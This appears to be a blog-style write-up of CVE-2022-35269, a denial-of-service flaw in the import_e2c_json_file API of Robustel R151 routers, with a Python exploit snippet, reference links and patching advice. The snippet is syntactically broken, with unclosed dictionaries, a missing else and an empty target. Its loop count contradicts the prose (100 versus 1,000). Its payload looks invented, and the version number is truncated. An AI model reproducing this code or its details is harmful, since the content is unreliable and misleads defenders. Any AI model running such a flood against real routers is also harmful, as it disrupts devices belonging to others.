A recent vulnerability has been discovered in the web_server hashFirst functionality of Robustel R151 routers, specifically in versions 3.1.16 and 3.3.. This vulnerability, identified as CVE-2022-35269, poses a severe threat to devices running on these versions of the router firmware. An attacker who exploits this vulnerability can cause a denial of service (DoS) situation on the targeted device, bringing its operations to a halt.

In this post, we offer an in-depth discussion of CVE-2022-35269, including the affected API, an example code snippet to illustrate the vulnerability's exploitation, and links to original references for further information.

The Vulnerable API: /action/import_e2c_json_file/

The vulnerability exists within the /action/import_e2c_json_file/ API in the web_server hashFirst functionality of Robustel R151 routers. In order to trigger the vulnerability and cause a DoS scenario, an attacker sends a sequence of carefully crafted network requests to the target router.

Code Snippet Example

The following Python code snippet demonstrates how an attacker could send a sequence of requests to exploit the vulnerability:

import requests

# Replace target_ip with the target router's IP
target_ip = "";
vulnerable_url = f"{target_ip}/action/import_e2c_json_file/"

headers = {
    "Content-Type": "application/x-www-form-urlencoded"

# Crafted payload to trigger the vulnerability
data = {
    "hashFirst": 1,
    "jsonBody": "{'trigger': 'denial_of_service'}"

# Sending multiple requests to exploit the vulnerability
for _ in range(100):
    response = requests.post(vulnerable_url, headers=headers, data=data)

    if response.status_code == requests.codes.ok:
        print("Request successful.")
        print("Request failed.")

When executed, this code sends 1,000 requests to the vulnerable API, potentially leading to a denial of service.

Exploit Details

To exploit this vulnerability, an attacker must craft a sequence of network requests containing specific parameters (hashFirst and jsonBody) to target the affected API. Upon receiving these requests, the router fails to effectively handle the input, leading to a consumption of resources and eventually triggering a DoS scenario. This severely impacts the functionality of the targeted device, rendering it inoperable until the issue is resolved.

1. CVE Details: https://www.cvedetails.com/cve/CVE-2022-35269/
2. Robustel Firmware Security Advisory: https://www.robustel.com/news/security-advisory-for-robustel-r151_233.html

Mitigation and Conclusion

To mitigate this vulnerability, users of Robustel R151 routers should promptly update to a patched firmware version. Firmware updates can be found on Robustel's official website.

Users should also remain vigilant about monitoring the performance and traffic of their devices and report any suspicious activity to protect their networks and maintain security against potential exploits.


Published on: 10/25/2022 17:15:00 UTC
Last modified on: 02/23/2023 23:57:00 UTC